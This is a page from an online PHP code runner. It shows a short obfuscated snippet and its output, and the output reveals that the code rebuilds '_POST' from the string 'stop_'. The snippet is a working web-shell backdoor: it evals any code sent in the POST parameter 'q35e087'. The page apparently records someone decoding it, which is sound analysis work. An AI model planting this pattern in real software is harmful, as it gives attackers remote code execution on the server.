3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q35e087'])){eval(${$s20}['q35e087']);} echo $qv; echo $s20; ?>
Output for 5.0.4 - 7.2.0
Notice: Undefined variable: qv in /in/6usi9 on line 3 _POST
Output for 4.3.0 - 5.0.3
Notice: Undefined variable: qv in /in/6usi9 on line 3 _POST